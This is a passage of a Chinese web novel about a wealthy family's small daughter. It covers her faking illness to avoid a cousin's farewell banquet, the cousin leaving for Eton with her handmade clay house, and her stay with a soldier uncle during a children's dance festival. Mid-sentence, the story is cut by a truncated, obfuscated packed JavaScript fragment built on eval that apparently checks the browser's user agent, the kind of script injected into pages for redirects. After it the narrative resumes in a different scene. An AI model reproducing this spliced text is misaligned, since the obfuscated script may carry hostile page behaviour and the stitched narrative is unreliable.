“斯承已经通过校内终测,拿到录取啦?太棒了!恭喜啊大嫂!我就知道斯承绝对能成!全国没几个人能拿到这名额吧,这孩子一看就是人中龙凤!” “那肯定得来啊!周六是吧?我有空的,崽子们也有空,至于源哥儿,他没空也得有空,大侄子升学宴,他不会缺席的。我提前告诉他,让他安排好日程就行。” “哎,好的呀,那到时候见啊大嫂。” 见妈妈挂断电话,蒋婧像是没骨头似的,贴在她手臂上软乎乎地蹭着,好奇地发问:“是什么事呀妈妈?” 程与英亲亲她,说道:“斯承哥哥要去英国上学啦,这周六我们在大伯家设宴为他庆祝践行,到时候你又有得吃小蛋糕了,开不开心?” “去大伯家?”谁知蒋婧蓦地瞪圆了眼睛,犹豫不绝道:“.......妈妈,我周六那天不会想吃小蛋糕的,所以我就不去了。” “你看我信你的鬼话吗?你哪天不是在哼哼唧唧的,哦,‘妈妈我想吃一个糖’‘妈妈我想吃一个水果小蛋糕’‘妈妈我再不喝点甜甜的水就要枯萎了!’” 程与英惟妙惟肖地学着女儿的语调,看到她气恼的样子,恶趣味地笑得更欢了。 这逗天真烂漫的小闺女实在是有趣。 蒋婧不再扒着妈妈手臂,双手插到咯吱窝处,脸蛋鼓成一个河豚,申辩:“爸爸说了,这些都是小孩的正常需求!没有一个小孩是不吃甜食的!每个小孩都必须吃很多甜的,才能正常长大!” 程与英适时停下逗她,捏捏她圆鼓鼓的脸颊肉,哄道:“是了是了,所以妈妈今天不是特意买了清塘铺的小点心来接你了吗?别生气了好不好?” 她好逗又好哄,立马偃旗息鼓,软下声音:“我才没有生气。” “妈妈,我周六不想出门,不想去大伯家,我就想在自己家里玩儿。” 程与英以为她小孩子心性,想一出是一出,说道:“你哪天都可以在家玩的呀。但是那天我们所有人都要去的,哥哥们也去,阿熠阿澈也去,你一个人在家,谁陪你玩?再说了,斯承哥哥要离家很远去上学,一个人多不容易啊,你要很久很久都见不到他的,我们得一起去送送他。” “而且妈妈还在想,要给斯承哥哥送点什么礼物好呢。你呢,你要不要送点什么礼物给斯承哥哥?大家都可喜欢你送的那些手工小礼物了。” 蒋婧被妈妈摸了几下头,就像猫咪被撸乖了一样,原本的主心力散了个大半。 “好吧,那我考虑一下要不要去。” * 周二,幻想到斯承哥哥一个人生活的孤单模样,她觉得自己应该听妈妈的话,跟着一起去。 遂在幼儿园手工课上大肆发挥灵感,花了整整一个下午做出了一份礼物。 周三,她短暂地把这件事忘了,在幼儿园度过了快乐的一天。 周四,妈妈和爸爸在饭桌上说,大伯母已经在斯承哥哥上学的地方买好了房子,随时可以过去探望。 蒋婧惊忆起这件事情,忽然觉得斯承哥哥去上学应该也没有很可怜啊,况且英国的苹果派和海绵布丁可好吃了,她上次去了一次就一直念念不忘。斯承哥哥能呆在那里,吃到那么多好吃的小甜品,难道不是很幸福吗? 她于是开始打起了退堂鼓,但是妈妈那天说了,她必须去的,如果妈妈不高兴了怎么办呢。她想七想八地愁了起来。 周五,她变得有些焦虑。在幼儿园愁眉苦脸了一天,得到了蒋熠和蒋澈两位军师的参谋。 蒋澈说:“如果你不想去,我们可以和大人说,我们三个要做幼儿园的实践活动,需要去公园里捡垃圾。” 蒋熠说:“然后捡完垃圾,你就装病,就像上次向恒哥那样,躺在床上睡一天,就不会有人来叫你去大伯家了。” 去逛公园捡垃圾的计划当天晚上就被家长通过给老师打电话的方式识破,没办法,蒋婧只能行使了第二个计划。 周六,她死活不肯起床,躺在爸爸妈妈的床上,生龙活虎地说道:“妈妈,我真的生病了,我现在特别特别特别特别不舒服!” 程与英担心小孩子年纪小,无法表达自己身体的感知,不疑有他地仔细询问细节,言行举止都有了焦急之意。 蒋源也是听到闺女说“不舒服,头晕晕的,想睡觉”,立马过来给她量体温计。 “体温正常的,是怎么个不舒服法,你再和爸爸说说。喉咙痛不痛?” 她摇头,转瞬又飞快点点头。 “这是什么意思?是难受还是不难受?张嘴,我看看有没有扁桃体发炎。” 看不出来个所以然,蒋源说道:“乖乖,起床穿衣服,爸爸带你去医院看看。” 夫妇俩火急火燎地带着闺女上医院诊断,医生问诊了几句,听出她描述的症状模糊又主观,啼笑皆非地揭穿:“小朋友,我看你身体健康的很嘞,不用吃药,也不用打针,你说的那些不舒服,等你想它好的时候,就都好了。” 蒋婧其实慌得心里直打鼓,面上仍要细声细语地试图挽回一些尊严,她比出一根手指,怯生生地说道:“不是的,白衣大褂叔叔,我可能需要在床上躺一天。” 蒋源和程与英相视一眼,一个留在诊疗室询问,一个带着蒋婧出去。 在休息区,程与英蹲下来,很是认真地问她:“你告诉妈妈,到底是真的不舒服,还是假的不舒服?” 她嗫嚅着嘴,低头绞着手指。 程与英心下已有定论,反而更放柔了声音,像是怕引起她惊怕,循循善诱道:“妈妈太担心你了,听到你说身体不舒服,心脏都要跳出来了。妈妈就你一个宝贝女儿,你要是生病了,会觉得天都塌了,你不许这样吓妈妈的,你能不能告诉妈妈,到底是医生没检查出来,还是确实没有不舒服?” 蒋婧偷偷观察妈妈的反应,内心纠结再纠结,还是小声地吐露了实话:“没有不舒服。” 程与英全身松懈了下来,放心地把她抱紧怀里。 “你吓死妈妈了,没有不舒服就好。” 见她情绪低落,程与英捏捏她的脸,说道:“怎么了?” “我不是一个好小孩了,妈妈,我说了谎话。” 程与英心疼地哄拍着她,抹去她的眼泪,说道:“你没有说谎。妈妈知道,是婧儿宝贝年纪太小了,不知道自己身体到底是舒服还是不舒服。可能是当时确实有一点不舒服,是不是?然后我们就来医院问问医生,医生说没事呀,那我们就都放心啦!我们只是一起来寻求身体提出的问题的答案,没有说谎。” 蒋婧眼神黯淡,眼泪像关不紧的水龙头晶莹剔透地滴落。 程与英安静地抱着她,抚摸着她的背,等她哭完,才说道:“小兔崽子心里装了什么事,这么不高兴呢,和妈妈说一说好不好?妈妈肯定永远站在你这一边,对不对?” 她小手攥住妈妈的衣角,长长的睫毛被泪水濡湿,扑闪着。 “我不想去大伯家,我想呆在家里。” “就因为这个?因为这个,你就心情不舒服,然后身体也跟着不舒服了是不是?”她耐心温和地帮着闺女合理化自己的行为,缓解她心里的愧疚感。 “嗯,我不想你不高兴。” “妈妈怎么会不高兴?只有你高兴了,妈妈才会高兴。”程与英擦干净她的脸颊,把她放下,说道:“不想去就不去。那婧儿今天下午一个人在家,有什么安排?” 蒋婧成功被她转移了注意力,眼角还有些湿,眼神却神采奕奕起来,掰着手指头规划道:“我先回去吃一个饭,然后看一个动画片,再去湖边看一会儿新出生的小天鹅游泳,给它画一个肖像画。我还会到花园里给你摘一些花,让你放在你梳头发的镜子桌前面。然后....然后你们就回来了,是不是?” “嗯,然后我们就回来了。那婧儿答应妈妈,做这些事情的时候,都要先干什么?” “先邀请管家伯伯和我一起。” “对啦,真乖。那我们去把爸爸叫出来,一起回家了好不好?” “好。”蒋婧点点头,此前的思虑烦恼都被解决了,心里又轻松舒畅起来。 * 暮色醇厚,缓缓浸润着这座风雅的公馆,院落里参天梧桐的绿荫在微风中轻轻摇曳,与树下身着小西装站着的两兄弟一起构成了一副动人的画卷。 蒋源先一步下车,又俯身给妻子搭手扶她。 “你们俩怎么在外面站着呢?”他问道。 蒋斯承:“四叔四婶好,我们出来接接你们。” 程与英温婉地一笑:“太贴心啦,那我们一起进去吧。” 直到蒋怀谦最后一个下车关上了车门,司机驾驶至车场,蒋斐轩都没看到期望见到的小身影,讶异地问道:“四叔四婶,小婧呢?她今天不来吗?” 蒋源和妻子对视一眼,然后解释道:“她今天身体有些不舒服,想在家里休息,就没过来了。” “哪里不舒服?是生病了吗?”蒋斐轩急声问。 “没有生病。可能前几天学校体育活动和实践活动太多了,累到了,有些精神不济,休息休息就好了。” 蒋斐轩忧心地皱起眉头,头头是道地推论起来:“一定是她又偷吃太多冰的东西了,四叔四婶,你们得管住她。上次我们去还琴,天气太热,李老师就给我们点了冰豆花和绿豆冰。我对她说只能挑一个吃,结果她趁我去上课的时候全部吃完了,当时就开始连打喷嚏,说有些冷。我从那时候就知道了,她还太小了,不能吃这么多凉的东西,一定得有人看着。” 程与英津津有味地听着,乐呵地附和:“对啊对啊,那你以后可得帮四婶好好看着她,别让她老从你们这拿糖、拿冰淇淋吃。” 蒋斐轩顿了顿,尴尬地清了下嗓音,又说道:“不过话又说回来,身体不舒服的时候吃点甜的会让心情更好一些。四婶,等会你们回去的时候,我拿一点我妈妈从瑞士买回来的水果软糖,你帮我带给蒋婧吧。她上次说很喜欢吃这个,我想她吃到好吃的糖果,就会开心一点。” 程与英和蒋斐轩交谈着,抬步进了里厅。 蒋源落在后面,特意同蒋斯承说道:“斯承,妹妹小,对这些人情世 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大人们也凑过来欣赏。蒋礼雄睹物思着孙女,夸赞道:“不愧是我孙女,这做的太好了,赶明儿让她给我也做一个。” 从蓉:“还真挺像的,除了色彩更鲜明些,这完全就是我们家的缩小可爱版。” 蒋斐轩则关注那个小人,询问:“这个小人是你吗?哥?” 蒋熠作为为数不多的全程见证了蒋婧制作的人,面对这么多的疑问和感叹,油然而起一种“唯有他能解释背后故事”的优越感。 他挤进来,摆摆手,示意大家听他讲。 “你们一定都很好奇她是怎么做出了,我来为她发声。第一,在这节课之前,我们其实已经学习了很久的黏土了。” 蒋澈补充:“整整学了5节课,之前的课教过捏动物、捏植物、捏人物、捏食物,还有捏生活物品。” “没错,所以第二!在那天,我们终于要学习怎么捏房子了。”蒋熠接过话,继续滔滔不绝:“然后,蒋婧说,斯承哥哥以后去了英国可能会想家,如果捏一个家送给他,想家的时候就可以看到自己的家。” 仿佛是在说相声,蒋澈接着插入了自己成为当事人的额外信息:“阿婧当时就请求老师帮她一起,但是她描述不出来大伯家的样子。我就打电话给大伯母,让她拍一她家的照片到我的手表上。” 从蓉回忆了一下,失笑:“我记起来了,那天确实有这事。阿澈还说是为了进行艺术创作,要保密,还一个劲地强调很紧急,我就让梁婶拍了一张。” “老师就带着蒋婧一起做了这个房子,她捏一个,蒋婧就跟着捏一个,捏了一个下午!我记忆特别深刻!因为她那天一个下午都没搭理我,我还生气了来着。”蒋熠说道,他眼红地看着那个模样精巧的黏土模型,酸酸地说道:“我也想要她送我一个自己捏的东西,我已经让她答应我,下一次我办升学宴,她得送我一个恐龙乐园。” 大人们兴致高扬地听完他们的阐述,七嘴八舌地交谈起来。氛围其乐融融,移步至了餐厅。 从蓉半天不见儿子,走回客厅,见他还在不紧不慢地把保护的玻璃罩盖到黏土模型,催促道:“斯承,快点过来,开席了!” “马上,妈妈。我把这个放回房间就来。” * 没多久后,蒋斯承在妈妈的陪同下飞往英国上学。 伊顿公学是最负盛名的精英式贵族中学,校舍住宿条件自然也是一流。宛如城堡建制的红砖尖顶的古老校园内,散发着历史深厚的书卷气息。 蒋斯承报道后找到自己的宿舍。推开门,宿舍窗外对着一片雾气蒙蒙的绿荫草坪,他眸光从远处收回到眼前窄小的环境,挑了下眉,开始井井有条地收拾行李。 同宿的人是个一头卷发、身材高壮的英国男生,他把行李箱踹进来,吹了个口哨,第一面就自来熟地和蒋斯承称兄道弟起来。 “人们都说东方人比较沉稳冷静,看起来你是个很典型的东方帅哥了,兄弟。” 蒋斯承没有搭话,动作迅速地把床铺收拾得干净规整。正要延迟回复,他一扭头,看到那人抬手要去摸放在窗前书桌上的黏土模型时,当即使出一个格斗动作控制住他。 “嘿!嘿!嘿!放轻松,我没有要碰!靠,兄弟你们中国人都会武术吗?力气这么大,我觉得我的胳膊要脱臼了。” “别动我的东西。” “okok,这可爱的小物件对你来说很重要吗?看起来不像是你会买的东西。” “我妹妹送的。”沉默了片刻,蒋斯承蓦地说道,接着顿了一顿,他又加了一句:“她怕我想家,给我做了一个家的模型。” 见到话题来了,一心想要促进室友关系的人立马夸张地说道:“哇哦,so sweet~” “你妹妹一定是个小甜心。” 蒋斯承把书籍归类放好,像是在回忆什么一般,神色悠远。 “嗯,可以这样说。”他回复到,总算是对这个室友有了些亲近之意。他伸出手,说道:“我叫Cyrus,你怎么称呼?” “Andrew。很高兴认识你,Cyrus。我有预感,我们会成为很好的哥们儿。” 34.第34章 鉴于蒋斯承的先例,程与英和蒋源也开始思考起家里两个小男孩的升学计划,非常全面地给出了有关未来发展的分析和建议后,询问起他们的意见。 “四叔,四婶,我以后是要像我爸爸那样当个将士的,所以我要念我爸爸以前读的学校。”蒋向恒是早早就确定了目标的,并不把他们的话当一回事儿。 程与英和蒋源表现出肯定和赞赏的回应:“那太棒了,四叔四婶相信你一定会成为像爸爸那样厉害的军人!” 问题轮到蒋怀谦,他同样当机立断就拒绝了出国的选项:“在哪里学我都能学得很好,不用出国,而且,我还要照顾妹妹。” 蒋源紧抿的唇线微微松开,形成一个短暂上扬的弧度,鼓励地说道:“妹妹有爸爸妈妈照顾,最重要的是你得把自己的人生过好,无论你想做什么,爸爸妈妈肯定都帮助你、支持你。” 蒋婧听了,手脚并用地往人身上爬,捂住爸爸的嘴,像个小判官似的雄赳赳地驳道:“不要不要,哥哥不准出国!” “小捣蛋鬼,这会儿动画片看够了?愿意和爸爸说话了?” “我虽然在看动画片,但是我耳朵也有动的。” 蒋源宽大的手掌始终护在她小小的后背,眼角因为她的话泛起柔和的笑意。 她被爸爸横抱过来制止在怀里,故意用胡茬蹭她柔嫩的脸颊,逗得她笑嘻嘻在爸爸怀里乱扭,笑的肚子都有些发疼。好不容易爸爸不再逗她了,蒋婧仰着头不满意地说道:“哥哥走了,就没有人陪我玩了,还没有人陪我睡觉。那我怎么办?我就只能也出国了。” 程与英:“你小着呢,还轮不到你出国。” “那什么时候轮到我?” 蒋源听不得这种话,双手搓丸子一般揉着闺女的脸,说道:“什么时候都轮不到你。爸爸妈妈可以带你出国旅游,但爸爸可不放心你一个出国上学。” 蒋婧躺爸爸身上晃着脚,说道:“如果哥哥出国,我也要出国,哥哥不出国,我也不出国。” “就知道当你哥哥的跟屁虫。”程与英调笑道。 对于妹妹的看重,蒋怀谦心里就像掺了蜜,他郑重地说道:“你放心,婧儿,哥哥永远都会陪在你身边的。” 蒋源和程与英皆是温和地看着他们,为兄妹俩的手足情谊感到欣慰。 蒋源放下助理整理过来的国际院校文件,舒了口气地说道:“不出国也好,我们一家人一直在一起才是最好的安排。” 程与英左边搂住蒋怀谦,右边搂住蒋向恒,同样喜气洋洋地说道:“是呀,我可舍不得你们任何一个人离家太远去求学。” * 舞蹈学校编排的幼儿群舞作品经过了严格遴选,在几千个投报作品中脱颖而出,入围了“小荷风采”全国少儿舞蹈展演。 蒋源在车上给闺女解释了一路,才终于让她明白了展演是要去干什么。 “爸爸,那到时候你们会和我一起去吗?” “当然,婧儿宝宝第一次登上舞台,爸爸妈妈还有哥哥们肯定要当见证人的。”蒋源信誓旦旦地保证。 “可是我怕你们找不到我。”蒋婧很是担忧地托着脸,苦恼地看向窗外,“因为我们是,就是,有很多很多人一起跳的舞,爸爸。我还没有其他姐姐们高,所以老师就,就让我在中间有那么一下子跑到前面去。” 蒋源满脸宠爱地听着她说,摸了摸她的头,打消她的疑虑:“我可不会认不出我们家小妞。” “再说了,爸爸妈妈这一个月去舞蹈学校接你的时候,你们都在排练这个舞,爸爸已经把你的站位都记在脑子里了,到时候在台上,我一定一眼就能认出你。” 蒋婧又高兴了起来,兴奋地说道:“那到时候爸爸你就在下面喊我,我会在台上给你比暗号,告诉你我听到你了。这样、这样我在台上就不会害怕了爸爸。” “你那时候在跳舞,怎么给我比暗号?” 蒋婧歪着头很用力地wink了一下,笑颜灿烂地说道:“就是这样,我只对你和妈妈做,下面看的人都不知道,只有你们知道,我这样做的时候,就是我看到你们了。你记住了吗?爸爸?” 蒋源满面春风,招架不住闺女的萌态,应下:“好,爸爸记住了。” * 程与英近一个月忙的飞起,这会人带着团队正在哥伦比亚的宝石矿源考察材料,接下来的日程排的满满当当。故而这次女儿参加比赛的任务就由爸爸担了下来。 展演活动的周期有整整7天,还包括了大师的舞蹈培训课、舞蹈教育研讨会等等活动。蒋源按照带队老师的计划表,提前一天带着蒋婧抵达湘南,入住了酒店。 翌日,蒋源早早给女儿收拾好,把她送到上集体培训课的剧院,答应了她晚上准时来接,便立马搭乘飞机返回北城处理工作,下午又掐着时间飞回湘南,连续了三日都是如此。 第三天下午,蒋源干脆给蒋向恒请了几天假,捎着他一起回了湘南。接了蒋婧后,他们便前往机关大院家属区。 老远看到熟人,蒋向恒打开车窗,探头挥手,兴高采烈地喊道:“李畅叔叔!” 待车停稳,李畅朝他们敬了一个端正的军礼,立正说道:“蒋源同志,你好,首长派我来接应你们。麻烦出示一下你们的身份证件,我去进行出入备案。” “辛苦,麻烦了。”蒋源把证件递交过去。 哨兵又花了不少时间检查后备箱,十多分钟后才完毕放行。 蒋婧眨着双圆溜溜的眼睛好奇地左看右看,接过李畅分发的证件,察觉到此地庄肃的氛围,非常刻意地压低了声音,用气音说道:“谢谢李畅叔叔。” 李畅忍俊不禁,朗声说道:“蒋婧小朋友,这里虽然禁止喧哗,但正常说话是允许的。” 她于是又放开声音说了一遍:“谢谢李畅叔叔!” “不客气,应该的。” 蒋婧翻来覆去地看着手里的证件,问道:“爸爸,这是什么字?什么时什么行什么?” “‘临时通行证’,有了这个,我们回来的时候把它递给守岗的军人叔叔,就可以通过了。”蒋源笑着摸摸女儿脑袋解释道。 车子停进职务公寓楼,三人下车,在李畅的引领下上到顶层。 门铃短暂响起几秒后停下。开门看到四弟又拎了大包小包,蒋焰顺手接过来,说道:“军区检查严格,何必这么麻烦。” 蒋源余光望见桌上已经摆好丰富的菜肴,再看椅子上随手搭着的围裙,和煦地回道:“都是些现成的熟食,想着你工作忙,刚好能一起吃。倒不想二哥今天亲自下厨招待,我和婧儿也是有口福了,是不是,婧儿?” “是!有口福了!”蒋婧积极响应,举着手原地小跳了一下。 蒋焰看到侄女,嘴角微不可查地上扬,伸开手臂说道:“来,婧婧,二伯抱一抱,看看你有没有长壮实。” 蒋婧扑过去,被抱起来颠了颠,开心地嘻嘻出声,笑声清脆如铃。 “唔,不错呢,感觉比年初长了几斤肉,看来有好好吃饭。二伯给你做了你爱吃的糖醋排骨、可乐鸡翅、菠萝炒饭,还有红豆双皮奶,今天可得多吃一碗饭才行。” “二伯,我只能对你说,我尽力...因为我是一个小人,所以我的胃也是小小的,只能吃一点点的。” 蒋焰哈哈一笑,把侄女抱到座位上,又朝着等着话口打报告辞行的下属说道:“小李,你留下一起吃饭。别磨叽,坐下吃。” 蒋源动手一一给茶杯倒满水,递到李畅面前,说道:“千万要留下一起,给我一个感谢你的机会。谢谢你今天接待我们,李畅同志。” “您太客气了,应该的。” 大人们相谈甚欢,蒋向恒便自发负责照顾起妹妹吃饭,望着她埋头苦吃甜品的样子,及时制止:“婧婧,双皮奶你吃一半就可以了,不然你又吃不下饭了。” 蒋源也搭腔:“甜品放在最后吃,先吃饭,乖乖。” “又又又,又只准吃一半!为什么甜品只准吃一半,饭却不可以只吃一半!”蒋婧鼓起了脸颊肉低着头嘟囔着快速说道,握着勺子的小手又开始磨洋工。 蒋焰目光一直留在侄女身上,看到她令人熟悉的可爱样子,不给面子地笑出声来。 “无碍,这双皮奶没放太多糖,二伯发话,可以允许婧婧全部吃完。” 蒋源无奈地笑着摇摇头。 见四弟眼下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吃完饭,蒋源和闺女在门口告别,他蹲下来,不舍地说道:“爸爸大后天就来接你、看你的表演。到时候你在台上,记得给爸爸wink。” “我会的,爸爸,你要大声喊我,我才知道你来了。” “嗯,我肯定大声喊你,我就坐在第一排,一定让你听见。” 蒋源把女儿揽进怀里抱抱,说道:“在二伯家有什么问题就和二伯说,别拘谨,二伯是个很好说话的人的。” 蒋婧点点头。 “在培训的时候要是有什么不高兴的事情,你解决不了的问题,也要及时告诉二伯,然后让二伯赶快给爸爸打电话,知道吗?” 蒋婧又点点头。 “你这两天运动量大,要记得多多喝水,多吃点让你肚子饱饱的东西。糖果一天还是只吃一颗,不能馋嘴,知道吗?爸爸往你的小零钱袋里放点现金,你要是想买什么吃的,你就让向恒哥哥带你去,向恒哥哥知道钱怎么用。” 蒋婧接过她被纸币撑得鼓鼓的Hellokitty零钱袋,再次乖巧地点点头。 “唉,早知道也给你买个儿童手表了。等会爸爸就去给你买。李畅叔叔去酒店拿行李的时候,我就拜托他一起送过来,到时候你有不懂的,你就问问二伯和向恒哥哥,让他们教你用。你要每天都给爸爸起码打一个电话。” 蒋婧点头,又把头歪了歪,问道:“好的爸爸,还有什么吗?” 蒋源凝视着女儿,依依不舍地抱了又抱。 “没有了。爸爸相信二伯和向恒哥哥会把你照顾得很好,只是爸爸太舍不得你了。” “爸爸觉得对不起你。” “为什么对不起?”蒋婧没跟上爸爸的脑回路,啄了一下他的鼻梁,理所当然地说道:“我又没有生气!我答应了妈妈不做随便就生气的不乖小孩的。” 蒋源含着笑意微微叹息,抚摸了几下她柔顺的发丝,说道:“嗯,婧儿宝宝都是一个不轻易生气的乖小孩。” “是特别特别好的一个小孩。” “爸爸一定很快就来接你。” 35.第35章 浴室里传来哗啦啦的水声,蒋焰端站在门口守着,隔几分钟就要喊一次蒋婧的名字。 蒋向恒把妹妹的衣服从行李箱里一件件整理出来放进衣柜,朝一脸焦灼等待的爸爸说道:“我爹,四婶早就已经教会婧婧自己洗澡了,她在家里都是自己洗的,不会出什么问题的。” “你还记得你小时候是什么时候学会洗澡的吗?” 蒋向恒摇头。 “上小学。你五岁还害怕独自开花洒喷头。” “不会吧?我小时候这么怂?”他扬声表示不相信。 “怂的地方不止这一点。”蒋焰一点面子不给地补刀。 蒋向恒还是不相信地皱眉摇头:“不可能,绝对不可能。” 蒋焰踱步了几个来回,又连连叫了几声,才终于等到蒋婧穿着镶有花边领的碎花睡衣、捧着浴巾开门出来。 她小脸透着绯红,眼睛像染了水汽一般湿漉漉的,仰着头语调乖软缓慢地说道:“二伯,我洗好了,我在里面听到你叫了我好多好多次。” “二伯担心你在里面摔倒。”蒋焰柔声解释。 “我不是小企鹅,不做企鹅小笨事。”她伸出一根手指头左右摇了摇。 蒋焰极淡地勾了勾唇角,蹲下来,拿过她怀里的浴巾,轻柔地把她滴水的头发裹起来擦侍,又牵着人到床上,给她把头发仔仔细细地吹干。 “二伯,我把下洗澡水的喷喷头放在了小板凳上,你记得把它挂起来。” “好,二伯等会去挂。” “二伯,你喜欢不喜欢小鸭子?”吹风机运作着,她忽然仰起头,眼睛亮晶晶地说话,吓得蒋焰火速拿远了些手里的吹风机。 蒋焰喉咙像忽然卡住了似的,停顿住,好一会儿才以一种显明的心虚反问:“婧婧喜欢吗?” “喜欢!” “那二伯也喜欢。” “那你最喜欢小鸭子什么?” 他犹豫:“二伯的喜欢属于从众心理,所以什么都还行。” “什么是从众心理?” 蒋焰用梳子将她的头发弄柔顺,看着她俏白得跟个糯米团子似的模样,好心情地弯起笑意蔓延的眼尾,说道:“二伯的从众心理啊,就是婧婧喜欢,那二伯也喜欢。” “好了,头发吹干了,现在准备睡觉吧。” 蒋焰的职务公寓有三室一厅,一间做了书房,一间做了健身房,只有还算宽敞的主卧里置放了两张床,以往蒋向恒过来,都是和爸爸住的一间。 家里没有防护栏,为了防止蒋婧睡觉掉下去,蒋焰直接徒手把两张床推拢拼到一起。 “来,婧婧,你睡中间。” 蒋婧裹着自己的被子躺了上去。 “有没有哪里躺不舒服的?”他问道。 蒋婧摇摇头,困倦地打了哈欠。 蒋焰插上四弟给小侄女送来的小夜灯后,就把顶灯关灭。 “躺好,双手交叠放在肚子上。要争取一个晚上都不乱滚乱动。”蒋焰捂严实她的被子,温声说道。 蒋婧左看一眼,右看一眼,见他们父子两人一个比一个躺的板正,也学着把两只手搭在肚子上,眨着眼睛在脑子里浮想联翩了很久的故事,才不知不觉地睡去。 * 第二天先一步苏醒,蒋焰瞅了眼身边,一个是躺得七仰八叉的儿子,一个是睡姿一如入睡前的小侄女,心里稀罕地松和了眉眼,和声叫她“起床了,婧婧,该去上舞蹈课了。” “婧婧,抱一下...”蒋向恒跟着自发醒来,伸了个懒腰迷糊着过来抱妹妹,被爸爸一个挥手档回去。 “麻溜点,洗漱去。” 他顿时清醒:“哦。” 蒋婧揉了揉眼睛,声音里还透着没睡醒的软乎,说道:“二伯,我昨天晚上,是不是一只很好的板鸭?” 蒋焰一愣,随即饶有兴趣地问:“这是什么意思?” “就是,就是你说,我们要一个晚上不动地睡觉,我害怕我晚上会动,就把自己想成了一只小板鸭,因为小板鸭就是这样,躺在板子上不能动的。然后我刚刚醒过来,发现我都很厉害地没有动,所以我是一只好板鸭。” 蒋焰总是习惯性地挺直脊背,保持肃正,这是多年军旅生涯刻入骨髓的反应。可此刻,他笔直的肩背竟微微颤抖起来。 一阵低沉的笑声终于从他胸腔深处震荡而出,像远山的闷雷,浑厚而富有磁性。这笑声越来越响,填满了整个空间。最后他不得不向后靠在床背上,才勉强止住被小侄女逗笑的畅悦。 蒋向恒刷着牙跑出来,奇怪又震惊地说道:“我爹,你咋了?笑这么恐怖干嘛?” “没事,你刷你的牙,我在听婧婧说话。” “什么话,我也要听。” 蒋婧一脸呆萌地看着二伯,忽然被他摸了一下头。 “是二伯的错,二伯不该让你做一只小板鸭。昨晚是不是没睡好?” 蒋婧晃了下脑袋:“挺好的呀~就是没有故事听,不过我自己发明了一个故事。” “哦?是什么故事,给二伯讲一讲。” “那好吧,如果你非要听的话。我的故事是这样想的,从前有三只金黄色的小板鸭,一起被放在板子上,如果它们动了的话,就会被胖肚子厨师抓起来,送到人肚子里。第一只小板鸭,我给它取名叫小抖抖,因为它总是忍不住想抖抖翅膀。第二只小板鸭叫小晃晃,它的脖子一直看起来松耷耷的。第三只小板鸭,是三只里面最能坚持住不动的,也就是我……” 蒋焰站在厨台前,动作娴熟地打蛋和入面浆,搅拌后倒入平底锅煎饼。 他惯常紧抿的唇角难以察觉地维持着上扬了一个像素点的弧度,仔细听着小侄女趣味横生的故事,在她故事讲解的同时,端上了一盘还冒着腾腾热气的鸡蛋饼。 “哇,看起来好好吃啊二伯。”她暂停了说话,拍拍手夸赞道,拿起叉子吃了一口,眼睛瞪圆,满是惊喜地接连说道: “二伯,这是我吃过的最好吃的饼了!” “太好吃了,二伯!” “我现在要早上最喜欢吃甜甜的鸡蛋饼了,我以前都没有吃过甜甜的鸡蛋饼呢。” “二伯,谢谢你给我做饼,这个饼吃的我好幸福!” 蒋焰没想到她这么能提供情绪价值,脸上还挂着松弛的笑意,像是被什么东西打败,低声叹息道:“你这个小家伙啊……” “向恒哥哥,你再教我用一下这个手表,我要告诉我爸爸,我吃到了一个特别好吃的饼!” 蒋向恒帮她在手表上点出页面,在她的反应影响下也好奇地尝了一口爸爸久违制作的鸡蛋饼,皱起眉头说道:“我爹,你没放盐、没放葱,你居然放的糖!” “不好吃?”蒋焰又端上来三碗馄饨面,两杯牛奶。 “也好吃,但是我还是喜欢吃咸的。” 蒋婧给爸爸妈妈依次发完语音,听了之后说道:“可是我喜欢吃甜的,二伯做的我都喜欢吃。二伯,就算你做咸的,我也喜欢吃。” 在她的糖衣炮弹攻击下,蒋焰甚至体验到了多年未曾有过的那种,喜悦中带着点不好意思的情绪。 “二伯知道了,二伯谢谢你喜欢吃我做的饼。” “这有啥,你不用客气的二伯~” 蒋向恒见她真心实意吃得喜欢,扭头对爸爸说道:“我爹,那你把这个鸡蛋饼的独门秘籍传授给我,等我回北城了,就可以做给婧婧吃。” “行,你想学,我倾囊相授。”蒋焰说道,又想起蒋婧刚刚戛然而止的话,问她:“婧婧,那你三只小板鸭的故事结尾是什么呢?” 蒋婧喝了口牛奶,顶着圈白沫子作回忆状说道:“二伯,我还没想出来,因为我昨天晚上想到那里就睡着了,如果今天晚上我把故事睡出来了,我再告诉你。” * 吃完早饭,蒋婧被李畅送去上大师培训课,蒋向恒留在了家里锻炼学习,蒋焰则前往军区大楼工作。 最后出门前,蒋焰收到李畅发来的采办清单的确认信息,沉思了一瞬,朝客厅里做着俯卧撑的儿子问道:“儿子,婧婧会喜欢鸭子玩偶吗?” 蒋向恒立马回复:“不会,她没买过鸭子玩偶,她最喜欢小兔、小熊、小猫、小狗、小羊、小海獭、小企鹅、小松鼠......” 他在脑海里搜索着见过的蒋婧那一堆堆毛绒玩具的模样,最后说道:“嗯,最喜欢的还是兔子,最多的也还是兔子。” “那她昨天怎么问我喜欢不喜欢小鸭子?” 对于涉及妹妹的提问,他一向不允许自己有答不上来的细节。蒋向恒停下运动站好,挠挠头,继续加深回忆,然后一拍脑门说道:“哦,我想起来了!她没有鸭子的毛绒玩具,但是她洗澡有一个鸭子队,可以漂在水上的那种,她每次在浴室洗澡可以洗一个小时,就是因为玩水上过家家。” “行,我知道了。”蒋焰锁眉,试图去想象儿子描述里的玩具,但显然效果不大。 他低头给下属发消息:“别急着走,再加一套可以漂在水上的小鸭子玩具。” * 高强度地忙了一天,蒋焰结束了工作后前往食堂,拎回拜托炊事员给自己留的食材。 走出食堂的途中遇到不少同事问好,他一一亲和地回应慰问。 “首长,您今天怎么改回家做饭了?”一位同蒋焰关系不错的军官走近看了看他手里的菜,稀奇地问道。 蒋焰:“我儿子和小侄女来了,家里给他们做点方便。” “您从食堂打点回去不更方便?今天好几个大肉菜,不比您自己做来的舒坦便捷?” 蒋焰想说两句,又一时觉得难以描绘。眼前耳边仿佛又浮现出小丫头机灵儿夸赞他厨艺好的模样,他几乎无法被察觉地轻笑了一下,说道:“算了,跟你这种没小侄女的人说不清楚。” “哎?”那军官讶异地发出了一声 